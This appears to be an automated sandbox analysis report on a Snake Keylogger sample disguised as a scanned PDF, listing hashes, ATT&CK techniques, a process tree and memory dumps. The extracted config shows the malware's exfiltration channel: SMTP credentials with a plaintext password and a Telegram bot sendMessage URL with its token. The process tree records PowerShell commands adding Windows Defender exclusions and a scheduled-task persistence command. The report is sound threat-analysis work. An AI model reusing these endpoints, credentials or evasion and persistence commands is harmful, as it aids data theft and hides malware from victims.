snakekeylogger | 03535f0c9dd34640a80fc2c578a293b34baa183f90e28eb8d2a6f8953e74472a

Analysis

max time kernel
139s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-10-2024 03:56

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General

Target

SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
Size

886KB
MD5

e22f1bbf54fbbd8d0135772dac71ac13
SHA1

b44ed322c53cb34c9eb7988c65be76eb7c78f089
SHA256

9e4e77d4f212e5aad71c2a0409c801b64e89b9f92a0ce4e2903b587bc5a70485
SHA512

2e577425a1d81e682777ae7b8c0dd9718923f6c0b2367a0096b7aa803bfb21eb02a4ded17600f6f9767b5ab853ddff56ebd8b39dd0ab8da341257d2e50aa3d58
SSDEEP

24576:14njPTfWh2y0ukcncNmGgvYTDn2KSQjHT5GA2ekyFh3C0cq:mmGhDneeQHMh3C0cq

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.vlccwellness.com
Port:
587
Username:
[email protected]
Password:
taiyab31121984
Email To:
[email protected]

https://api.telegram.org/bot1865023387:AAFbWPISsv486p_o9A4CIDR1FBfAq1W7nUc/sendMessage?chat_id=1788371409

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/3888-29-0x0000000000400000-0x0000000000424000-memory.dmp	family_snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2056	powershell.exe
4868	powershell.exe
2444	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
40	checkip.dyndns.org
43	freegeoip.app
44	freegeoip.app

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3504 set thread context of 3888	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	108

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
376	3888	WerFault.exe	108

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4084	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4868	powershell.exe
2444	powershell.exe
3888	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
4868	powershell.exe
2444	powershell.exe
2056	powershell.exe
2056	powershell.exe
2056	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	3888	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
Token: SeDebugPrivilege	2056	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3504 wrote to memory of 4868	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	101
PID 3504 wrote to memory of 4868	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	101
PID 3504 wrote to memory of 4868	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	101
PID 3504 wrote to memory of 2444	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	103
PID 3504 wrote to memory of 2444	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	103
PID 3504 wrote to memory of 2444	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	103
PID 3504 wrote to memory of 4084	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	105
PID 3504 wrote to memory of 4084	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	105
PID 3504 wrote to memory of 4084	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	105
PID 3504 wrote to memory of 2056	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	107
PID 3504 wrote to memory of 2056	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	107
PID 3504 wrote to memory of 2056	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	107
PID 3504 wrote to memory of 3888	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	108
PID 3504 wrote to memory of 3888	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	108
PID 3504 wrote to memory of 3888	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	108
PID 3504 wrote to memory of 3888	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	108
PID 3504 wrote to memory of 3888	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	108
PID 3504 wrote to memory of 3888	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	108
PID 3504 wrote to memory of 3888	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	108
PID 3504 wrote to memory of 3888	3504	SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe	108

C:\Users\Admin\AppData\Local\Temp\SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
"C:\Users\Admin\AppData\Local\Temp\SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3504
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4868
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\NEQcsxsAehXEc.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2444
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NEQcsxsAehXEc" /XML "C:\Users\Admin\AppData\Local\Temp\tmp77BB.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:4084
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\NEQcsxsAehXEc.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2056
- C:\Users\Admin\AppData\Local\Temp\SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe
  "C:\Users\Admin\AppData\Local\Temp\SCANNED_DOCUMENT_8D23259F053446A0A1C0ED3F526B0C7B_PDF.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3888
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3888 -s 1472
    3⤵
    - Program crash
    PID:376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3888 -ip 3888
1⤵
PID:1896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
24f4195ae3834e8603a938ffffec95a2

SHA1
9a3913301c35f3f3fefc0d0402fab8d07396e18d

SHA256
6d05f2148ca7dd27f9c798955c516ddd21e8c3236c434b39cab7d6d513fa4224

SHA512
9f9fd5f236cded84cbf6f3e1bdc5b4c1211afca3ff3df1c6f9a7b768af4f51c9c39b7c991badaa0e0a7bb6ce88ce44b8921fe64e9ac61612ee79ddc8514239ec

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
33c704ba19a50872dfef50ea2e29eb98

SHA1
b650d599e3a4c0cdbfdd1e5f4cbabf498e0a6e0b

SHA256
aa8676a76504e7233b422f01183852f664e0611f881fc56b3ec2e3efab7a7811

SHA512
5ecc4b97f700219e9eea74f8d30bafac1c9831759bc4618f29914fa616b2eb168fb0725ed7044e3fa90fd25dd57a29a63c1183dbd92a34cdefbeb99fd7f111fe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ysdx2upv.3eg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp77BB.tmp

Filesize
1KB

MD5
2631d79434a4c4d07c9180cb5957c0cf

SHA1
b9862648561b73bd32e8a7401fccd106984a395e

SHA256
0b26a2597e51e32387d629211f196a5a483b94a545d497e08c7264542b991b6a

SHA512
c3d9b4b0f80fdbd435d533efa8a6a0e924be02b8d0adcfb40f6d027f27adc7d14af3915d479d2e50772b2c58f19df229e2ac39be38ebf2ad8f23eeeeb393f184

Download Submit
memory/2056-88-0x0000000070CF0000-0x0000000070D3C000-memory.dmp

Filesize
304KB

Download
memory/2444-102-0x00000000072A0000-0x00000000072A8000-memory.dmp

Filesize
32KB

Download
memory/2444-82-0x0000000006BC0000-0x0000000006BDE000-memory.dmp

Filesize
120KB

Download
memory/2444-99-0x00000000071B0000-0x00000000071BE000-memory.dmp

Filesize
56KB

Download
memory/2444-98-0x0000000007180000-0x0000000007191000-memory.dmp

Filesize
68KB

Download
memory/2444-101-0x00000000072C0000-0x00000000072DA000-memory.dmp

Filesize
104KB

Download
memory/2444-84-0x00000000075D0000-0x0000000007C4A000-memory.dmp

Filesize
6.5MB

Download
memory/2444-85-0x0000000006F80000-0x0000000006F9A000-memory.dmp

Filesize
104KB

Download
memory/2444-100-0x00000000071C0000-0x00000000071D4000-memory.dmp

Filesize
80KB

Download
memory/2444-83-0x0000000006E30000-0x0000000006ED3000-memory.dmp

Filesize
652KB

Download
memory/2444-62-0x0000000070CF0000-0x0000000070D3C000-memory.dmp

Filesize
304KB

Download
memory/2444-61-0x0000000006BE0000-0x0000000006C12000-memory.dmp

Filesize
200KB

Download
memory/2444-27-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/2444-21-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/2444-105-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-12-0x000000000C810000-0x000000000C836000-memory.dmp

Filesize
152KB

Download
memory/3504-7-0x0000000007980000-0x00000000079D6000-memory.dmp

Filesize
344KB

Download
memory/3504-1-0x00000000009C0000-0x0000000000AA4000-memory.dmp

Filesize
912KB

Download
memory/3504-2-0x0000000007840000-0x00000000078DC000-memory.dmp

Filesize
624KB

Download
memory/3504-3-0x0000000007E90000-0x0000000008434000-memory.dmp

Filesize
5.6MB

Download
memory/3504-49-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-4-0x00000000078E0000-0x0000000007972000-memory.dmp

Filesize
584KB

Download
memory/3504-5-0x0000000004E30000-0x0000000004E3A000-memory.dmp

Filesize
40KB

Download
memory/3504-6-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-8-0x0000000008B40000-0x0000000008B56000-memory.dmp

Filesize
88KB

Download
memory/3504-9-0x000000007451E000-0x000000007451F000-memory.dmp

Filesize
4KB

Download
memory/3504-10-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/3504-11-0x00000000092F0000-0x000000000937E000-memory.dmp

Filesize
568KB

Download
memory/3504-0-0x000000007451E000-0x000000007451F000-memory.dmp

Filesize
4KB

Download
memory/3888-29-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4868-26-0x0000000005920000-0x0000000005986000-memory.dmp

Filesize
408KB

Download
memory/4868-50-0x0000000005FB0000-0x0000000005FCE000-memory.dmp

Filesize
120KB

Download
memory/4868-86-0x0000000007340000-0x000000000734A000-memory.dmp

Filesize
40KB

Download
memory/4868-87-0x0000000007550000-0x00000000075E6000-memory.dmp

Filesize
600KB

Download
memory/4868-18-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/4868-20-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/4868-19-0x00000000050A0000-0x00000000056C8000-memory.dmp

Filesize
6.2MB

Download
memory/4868-72-0x0000000070CF0000-0x0000000070D3C000-memory.dmp

Filesize
304KB

Download
memory/4868-51-0x0000000006450000-0x000000000649C000-memory.dmp

Filesize
304KB

Download
memory/4868-24-0x0000000005710000-0x0000000005732000-memory.dmp

Filesize
136KB

Download
memory/4868-25-0x00000000058B0000-0x0000000005916000-memory.dmp

Filesize
408KB

Download
memory/4868-23-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/4868-28-0x0000000005990000-0x0000000005CE4000-memory.dmp

Filesize
3.3MB

Download
memory/4868-109-0x0000000074510000-0x0000000074CC0000-memory.dmp

Filesize
7.7MB

Download
memory/4868-17-0x00000000026C0000-0x00000000026F6000-memory.dmp

Filesize
216KB

Download